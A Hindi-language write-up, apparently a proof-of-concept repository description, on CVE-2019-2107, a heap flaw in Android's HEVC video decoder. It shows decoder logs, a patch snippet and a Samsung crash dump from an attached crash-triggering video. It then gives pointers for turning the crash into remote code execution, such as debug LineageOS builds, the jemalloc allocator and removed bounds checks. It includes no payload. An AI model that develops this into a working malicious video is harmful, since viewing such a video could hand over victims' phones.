
CVE-2019-2107 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो एंड्रॉइड मीडिया फ्रेमवर्क पर गढ़े गए HEVC वीडियो के माध्यम से रिमोट कोड निष्पादन प्रदर्शित करता है। इसमें क्रैश विश्लेषण और पेलोड विकास मार्गदर्शन शामिल है।
CVE-2019-2107
CVE-2019-2107 - डरावना लगता है। अब भी Stagefright और PNG bugs वल्न्स याद हैं .... CVE-2019-2107 के साथ डिकोडर/कोडेक mediacodec यूज़र के तहत चलता है और उचित रूप से "क्राफ्टेड" वीडियो (टाइल्स सक्षम के साथ - ps_pps->i1_tiles_enabled_flag) के साथ आप संभवतः RCE कर सकते हैं। प्रभावित कोडेक HVEC (उर्फ H.265 और MPEG-H Part 2) है #exploit #rce #android #stagefright #cve

LineageOS (Android):
02-11 20:18:48.238 260 260 D FFmpegExtractor: ffmpeg detected media content as 'video/hevc' with confidence 0.08
02-11 20:18:48.239 260 260 I FFMPEG : [hevc @ 0xb348f000] Invalid tile widths.
02-11 20:18:48.239 260 260 I FFMPEG : [hevc @ 0xb348f000] PPS id out of range: 0
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] Invalid tile widths.
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] PPS id out of range: 0
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] Error parsing NAL unit #5.
02-11 20:18:48.240 260 260 I FFMPEG : [hevc @ 0xb348f000] Invalid tile widths.
mplayer (लैपटॉप)
id: 0
[hevc @ 0x7f0bf58a7560]Decoding VPS
[hevc @ 0x7f0bf58a7560]Main profile bitstream
[hevc @ 0x7f0bf58a7560]Decoding SPS
[hevc @ 0x7f0bf58a7560]Main profile bitstream
[hevc @ 0x7f0bf58a7560]Decoding VUI
[hevc @ 0x7f0bf58a7560]Decoding PPS
[hevc @ 0x7f0bf58a7560]Invalid tile widths.
[hevc @ 0x7f0bf58a7560]Decoding SEI
[hevc @ 0x7f0bf58a7560]Skipped PREFIX SEI 5
[hevc @ 0x7f0bf58a7560]PPS id out of range: 0
[hevc @ 0x7f0bf58a7560]Error parsing NAL unit #5.
Error while decoding frame!
यह तब रुकता है जब टाइल की चौड़ाई अनुमत से बड़ी होती है: https://gitlab.freedesktop.org/gstreamer/meson-ports/ffmpeg/blob/ebf648d490448d511b5fe970d76040169e65ef74/libavcodec/hevc_ps.c#L1526
तो जांच वहाँ हैं।
स्टॉक/गूगल एंड्रॉइड पर मुझे लगता है कि VideoPlayer का उपयोग करते समय यह libhevc का उपयोग करेगा, ffmpeg का नहीं।
https://www.droidviews.com/enjoy-hevc-h-265-video-playback-on-android/
मेरे पास गूगल कोडेक है:
OMX.google.hevc.decoder
मैं सोच रहा हूँ कि यह क्रैश क्यों नहीं होता ....
इस स्थिति को ट्रिगर करने वाले वीडियो (videopoc.mp4) को संलग्न कर रहा हूँ:
if (value >= ps_sps->i2_pic_wd_in_ctb - start)
+ {
+ return IHEVCD_INVALID_HEADER;
+ }
शायद किसी और को अधिक भाग्य मिले।
वूहू हू .... कर दिखाया :)
प्रूफ ऑफ कॉन्सेप्ट hevc-crash-poc.mp4 में है, अन्य वीडियो गैर-एंड्रॉइड प्लेयर्स के लिए हैं।
HVEC-"fright" संभव है। आप पेलोड के साथ एक वीडियो देखकर मोबाइल पर कब्जा कर सकते हैं। मेरे उदाहरण में मैंने वास्तविक पेलोड शामिल नहीं किया।
07-13 21:50:59.000 3351 3351 I /system/bin/tombstoned: received crash request for pid 24089
07-13 21:50:59.006 24089 24089 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-13 21:50:59.006 24089 24089 F DEBUG : Build fingerprint: 'samsung/hero2ltexx/hero2lte:8.0.0/R16NW/G935FXXS4ESC3:user/release-keys'
07-13 21:50:59.006 24089 24089 F DEBUG : Revision: '9'
07-13 21:50:59.006 24089 24089 F DEBUG : ABI: 'arm64'
07-13 21:50:59.006 24089 24089 F DEBUG : pid: 24089, tid: 24089, name: media.extractor >>> mediaextractor <<<
07-13 21:50:59.006 24089 24089 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7ccb800050
07-13 21:50:59.009 24089 24089 F DEBUG : x0 00000000ffffff36 x1 0000000000000000 x2 00000000000000f0 x3 0000000000000001
07-13 21:50:59.009 24089 24089 F DEBUG : x4 0000000000000001 x5 0000007ccb5df1b8 x6 0000007cc927363e x7 0000007cc8e7bd04
07-13 21:50:59.009 24089 24089 F DEBUG : x8 0000000000004170 x9 0000000000004160 x10 00000000ffffffff x11 0000007ccb7fbef0
07-13 21:50:59.010 24089 24089 F DEBUG : x12 0000007ccb5d3ce0 x13 000000000000001e x14 0000000000000003 x15 0000000000000001
07-13 21:50:59.010 24089 24089 F DEBUG : x16 0000007cc99f5f50 x17 0000007ccb88885c x18 0000007ccb566225 x19 0000007ccb562020
07-13 21:50:59.010 24089 24089 F DEBUG : x20 0000007ccb4f18a0 x21 0000007ccb468c6c x22 0000000000000000 x23 0000000000000006
07-13 21:50:59.010 24089 24089 F DEBUG : x24 000000000000001e x25 0000000000000094 x26 0000000000004160 x27 0000000000000001
07-13 21:50:59.010 24089 24089 F DEBUG : x28 0000007ccb55e750 x29 0000007fd6d39d90 x30 0000007cc99c4438
07-13 21:50:59.010 24089 24089 F DEBUG : sp 0000007fd6d39d20 pc 0000007cc99c44c4 pstate 0000000080000000
07-13 21:50:59.013 24089 24089 F DEBUG :
--

यदि आप इसे आगे बढ़ाकर RCE (Remote Command Execution) प्राप्त करना चाहते हैं
मैं डिबग बिल्ड के साथ LineageOS रॉम लेने से शुरू करूंगा (यदि आपके पास रूटेड टार्गेट फोन नहीं है, तो डिसअसेंबली सिरदर्द देती है, इसके साथ काम करना बहुत आसान होना चाहिए), संभवतः मेमोरी आवंटक को jemalloc में बदलना (नए मोबाइल को लक्षित करने के लिए)। आप इसे अपने BoardConfig में सेट कर सकते हैं:
device/samsung/msm8226-common/BoardConfigCommon.mk
# Memory
#MALLOC_IMPL := dlmalloc
MALLOC_IMPL := jemalloc
मैंने पाया कि मेरा सैमसंग मोबाइल jemalloc का उपयोग कर रहा था, पुराने/नए मोबाइल के बारे में निश्चित नहीं। उम्मीद है वही हो।
jemallc/dlmalloc के बारे में कुछ और जानकारी: https://blog.nsogroup.com/a-tale-of-two-mallocs-on-android-libc-allocators-part-1-dlmalloc/
यहां मैंने libavcodec.so से जांच हटा दी।
Samsung S3 Neo+ पर LineageOS 7.1.2 पर परीक्षण करें
जैसा कि हम देख सकते हैं कि मीडियाप्लेयर क्रैश हो गया/चला गया... अनहैंडल्ड इवेंट्स के साथ (MediaPlayer: mediaplayer went away with unhandled events)। पक्का नहीं है कि यह नेटिवली क्रैश क्यों नहीं होता। यहां लक्ष्य निष्पादन प्रवाह को हथियाना होगा। शुभकामनाएँ!
02-25 16:44:15.008 2954 2954 I art : Explicit concurrent mark sweep GC freed 4988(521KB) AllocSpace objects, 1(40KB) LOS objects, 25% free, 6MB/8MB, paused 484us total 43.471ms
02-25 16:44:15.011 2954 2954 I art : Starting a blocking GC Explicit
02-25 16:44:15.046 2954 2954 I art : Explicit concurrent mark sweep GC freed 435(17KB) AllocSpace objects, 0(0B) LOS objects, 24% free, 6MB/8MB, paused 523us total 34.700ms
02-25 16:44:15.083 2954 2954 W MediaPlayer: mediaplayer went away with unhandled events